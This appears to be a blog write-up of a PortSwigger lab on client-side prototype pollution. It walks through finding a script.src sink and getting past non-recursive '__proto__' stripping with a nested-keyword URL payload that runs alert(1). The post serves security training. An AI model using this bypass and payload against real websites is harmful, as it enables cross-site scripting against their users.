Post

PortSwigger - Client-side prototype pollution via flawed sanitization

This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.

To solve the lab:

  1. Find a source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget property that allows you to execute arbitrary JavaScript.
  3. Combine these to call alert().

Website Landing Page


When looking for Prototype pollution, we need find some logic that that:

  1. Parses user supplied JSON
  2. Constructs a JavaScript object in a way that prototype pollution can be introduced. This is usually through a merge function like so:
1
2
3
4
5
6
7
for(var attr in source) {
        if(typeof(target[attr]) === "object" && typeof(source[attr]) === "object") {
            merge(target[attr], source[attr]);
        } else {
            target[attr] = source[attr];
        }
    }
  1. The user controlled object needs to end up in an XSS sink.


Finding a Sink

I prefer to search for the sinks in the application and then work my way backwards to see if that source is controllable. When searching through the JavaScript code, the following code block stood out in the searchLoggerFiltered.js file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
async function searchLogger() {
    let config = {params: deparam(new URL(location).searchParams.toString())};
    if(config.transport_url) {
        let script = document.createElement('script');
        script.src = config.transport_url;
        document.body.appendChild(script);
    }
    if(config.params && config.params.search) {
        await logQuery('/logger', config.params);
    }
}

function sanitizeKey(key) {
    let badProperties = ['constructor','__proto__','prototype'];
    for(let badProperty of badProperties) {
        key = key.replaceAll(badProperty, '');
    }
    return key;
}

window.addEventListener("load", searchLogger);

There is a sink in script.src = config.transport_url. If we are able to control config.transport_url then we can get XSS.


Finding the Source

Now that we have the sink, lets work our way backwards to find where the config.transport_url is coming from. The config value is being set just above with the following code:

1
let config = {params: deparam(new URL(location).searchParams.toString())};


The config object appears to have a key of params which has a value from the result of the deparam() function which takes the URLSearchParams as a parameter.

1
2
3
4
location.href = "https://example.com/page?name=Josh&age=30"

new URL(location).searchParams.toString()
// returns: "name=Josh&age=30"

This is how the searchParams function operates


The config only has a params key, and we need a transport_url key in order to trigger the XSS.


Debugging

The deparam function is quite complex and long so I will use chrome debugging tools along with some payloads to see if prototype pollution is possible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
var deparam = function( params, coerce ) {
    var obj = {},
        coerce_types = { 'true': !0, 'false': !1, 'null': null };

    if (!params) {
        return obj;
    }

    params.replace(/\+/g, ' ').split('&').forEach(function(v){
        var param = v.split( '=' ),
            key = decodeURIComponent( param[0] ),
            val,
            cur = obj,
            i = 0,

            keys = key.split( '][' ),
            keys_last = keys.length - 1;

        if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
            keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );

            keys = keys.shift().split('[').concat( keys );

            keys_last = keys.length - 1;
        } else {
            keys_last = 0;
        }

        if ( param.length === 2 ) {
            val = decodeURIComponent( param[1] );

            if ( coerce ) {
                val = val && !isNaN(val) && ((+val + '') === val) ? +val        // number
                    : val === 'undefined'                       ? undefined         // undefined
                        : coerce_types[val] !== undefined           ? coerce_types[val] // true, false, null
                            : val;                                                          // string
            }

            if ( keys_last ) {
                for ( ; i <= keys_last; i++ ) {
                    key = keys[i] === '' ? cur.length : keys[i];
                    cur = cur[sanitizeKey(key)] = i < keys_last
                        ? cur[sanitizeKey(key)] || ( keys[i+1] && isNaN( keys[i+1] ) ? {} : [] )
                        : val;
                }

            } else {
                if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
                    obj[sanitizeKey(key)].push( val );

                } else if ( {}.hasOwnProperty.call(obj, key) ) {
                    obj[sanitizeKey(key)] = [ obj[key], val ];

                } else {
                    obj[sanitizeKey(key)] = val;
                }
            }

        } else if ( key ) {
            obj[key] = coerce
                ? undefined
                : '';
        }
    });

    return obj;
};


Sending the following payload:

1
https://web-security-academy.net/?__proto__[transport_url]=test

You can see that the JSON object is not what we want


Our goal is to have the JSON Object in the form:

1
2
3
4
5
6
config = {
	params: "",
	__proto__: {
		transport_url : "data:text/javascript,alert(1)"
	}
}


Since that didn’t work, lets try dot notation.

1
https://web-security-academy.net/?__proto__.transport_url=test

You can see that the JSON object is not what we want


In both of these requests that __proto__ is being stripped. We can try sending a payload that can bypass __proto__ sanitization if there is no recursive sanitization.

1
https://web-security-academy.net/?__pro__proto__to__.transport_url=test

__proto__ is now present, but not in expected form


Lets go back to using object notation.

1
https://web-security-academy.net/?__pro__proto__to__[transport_url]=test

Prototype is now polluted


Prototype Pollution

Now that we are able to pollute the prototype, we can be XSS with the following payload:

1
https://web-security-academy.net/?__pro__proto__to__[transport_url]=data:text/javascript,alert(1)

This post is licensed under CC BY 4.0 by the author.